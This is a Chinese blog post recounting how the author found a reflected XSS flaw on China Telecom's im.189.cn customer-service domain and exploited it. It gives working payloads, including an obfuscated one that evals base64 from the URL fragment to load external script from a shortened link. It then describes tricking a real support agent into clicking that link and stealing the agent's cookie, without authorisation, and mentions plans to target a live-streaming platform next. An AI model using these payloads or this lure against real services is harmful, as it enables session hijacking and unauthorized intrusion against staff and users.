zoukankan      html  css  js  c++  java
  • 记一次电信反射xss的挖掘与利用

    0X0、前言

    早上起床,打开手机习惯性刷刷新闻,却发现网络无法连接,本以为是光猫出现了问题,后来发现是忘记续费,欠费了。

    在网上充值完之后,等了有将近十分钟,网依旧没恢复。随打了个电话给客服,客服在后台帮忙刷新了一下数据,一分钟后网络就恢复了。

    在我打了个非常满意评价后,客服发了个短信给我,短信内容是这样子的。

    点开链接,页面跳转一下,发现是一个客户自检网络,修复网络故障的页面。(上网账号和城市做了修改)

    心想这里会不会有点什么呢?

    搞事心态一起,那么就研究研究吧。

    0x1、反射XSS的挖掘

    抽出短信里面的url,去urlencode得到这样的url:

    http://im.189.cn/t/scrtv?h784cr&k=50|hello

    对比页面发现:其中的k是城市id,|后面的也即是上面的hello是上网账号。

    看到'原样'输出,第一个想法就是这里会不会存在个反射xss?

    先看后面的账号输出,搜索一下网页源码,看看输出hello的地方有几个?

    观察页面发现存在两个地方输出,一个是在标签内:

    一个是在js内:

    首先我们尝试一下第一个,输出在标签属性里面。要想构造xss,就得想办法闭合标签,写入标签的其它属性,或者构造其它标签。

    因为输出是在value=""内,被双引号包围,那么我们尝试用双引号去闭合前面的标签,然后插入我们想要的东西。

    先测试一下双引号有没有被过滤:

    "testtesttest

     结果发现双引号被过滤了,这个输出点没办法闭合,那么也就没法利用了。

    我们再看输出在js内的。两个点都是用单引号闭合的,那么单引号会不会也被过滤呢?

    'testtesttest
    

    可以发现,成功插入了一个单引号,单引号没有被过滤。那么我们就可以尝试构造xss payload了。

    先用单引号和右花括号闭合前面语句,再用</script>强制闭合前面的<script>,然后添加一个<script>,再之后是xsspayload,后面用单引号闭合后面的单引号。

    那么最终的payload是这样子的

    http://im.189.cn/t/scrtv?h784cr&k=50|'}</script><script>alert(1);'  

    期待之中的弹框并没有出现,然后又发现我们插入的右花括号也被过滤了

    看一下console,再仔细看了一下输出点,发现下面的一个输出,后面还有一个右括号,没有闭合

    点击source里面看看

     发现这里存在三处语法错误,最严重的的是第二对<script>里面的function没有闭合,因为过滤了右花括号,其次是闭合的两个地方一个带有括号,一个没有,如果构造闭合,一定会造成一个闭合了另外一个没有闭合,都会造成语法错误,最终也是没办法执行的。。

    我们把目光放到别的地方,寻找另外一个输入的输出。也就是k的输出的地方。

    我们发现其在js内的输出有两个地方

    而且都是被单引号包围的。

    这里我们就可以轻松构造xss payload

    http://im.189.cn/t/scrtv?h784cr&k=';</script><script>alert(1);'|hello  

     成功弹框:

    我们查看源码看看

    可以发现刚刚好闭合了后面的单引号,主要是因为两个输出的地方都是由单引号包围,没有其他字符。

    仔细分析一下代码,其实这里也是存在有语法错误的。

    1,第一个是在第一对script里面,config没有闭合;

    2,第二个是在第二对script里面,只有一个右花括号(}),没有与之配对的左花括号配对。

    这里能够执行,主要是因为第三个script里面闭合的好,没有造成语法错误。最终alert(1)是在第三个script里面执行出来的。

    0x02、漏洞利用

    那么,在挖掘到了一个反射xss,我们应该怎么利用呢?

    因为是反射xss,那么势必是要让别人去点链接的。

    但是我们的payload还只是弹框而已,为了能够打cookie之类的,我们需要引入外部的js,随便找了一下网上的xss平台。

    构造一下payload:

    http://im.189.cn/t/scrtv?h784cr&k=';</script><script>eval(atob(location.hash.substr(1)));'|hello#s=document.createElement('script');document.body.appendChild(s);s.src='http://t.cn/XXX';

    简单解析一下payload,其实就是获取当前链接#后面的字符,然后base64解码,传进eval里面执行,至于#后面的base64密文的作用是创建script标签,引入外部js。

    但这样子是不行的,我们需要编码伪造一下,好让人不那么容易被察觉,最终payload如下:

    http://im.189.cn/t/scrtv?h784cr&k=%27%3B%3C/script%3E%3Cscript%3Eeval(atob(location.hash.substr(1)))%3B%27%7C1212003238@163.gd#cz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8vdC5jbi9YWFhYJzs=

    因为这个洞是在im.189.cn域名下的,那么我们可以做的就是寻找该域名下的一切业务,然后分析寻找与别人交互的地方。

    访问im.189.cn发现,这是一个电信客服相关业务的域名。

    那么我们是不是能够打一下电信客服后台的cookie呢?

    找到客服页面

     然后就是一堆有的没的闲聊,这里发一下聊天记录,成功让他点了我们的链接。

    刚开始那个死活不点链接,后来转到深圳的就麻利的点了。

     后台成功收到了cookie

    但是发现也没啥卵用,莫名处于未登录状态的,又不知道后台地址,也是搞不了。

    然后翻了翻度娘,发现该域名还有一个直播平台

     

    嘿嘿,我似乎又知道了目标。但是发言要登录,而登录又要电信手机卡。妈的,没有电信手机卡。算了,暂时不搞了。

    那么这一次xss的挖掘与利用就到这里结束了。

    0x03 结束

    把技术学习融于生活,在生活里面找到乐趣!

    有时间再搞搞那个直播平台,嘿嘿~

  • 相关阅读:
    SSH Secure File Transfer上传文件错误:encountered 1 errors during the transfer解决办法
    出现Unrecognized field "state" (class com.jt.manage.pojo.ItemCat)异常
    (error) DENIED Redis is running in protected mode because protected mode is enabled
    错误:在maven install是抛出 “1.5不支持diamond运算符,请使用source 7或更高版本以启用diamond运算符”
    Java实现POI读取Excel文件,兼容后缀名xls和xlsx
    数据库的主从复制常用Xshell命令
    Linux搭建主从数据库服务器(主从复制)
    项目数据库备份
    Entity Frameword 查询 sql func linq 对比
    jq 选择器基础及拓展
  • 原文地址:https://www.cnblogs.com/r00tuser/p/7384987.html
Copyright © 2011-2022 走看看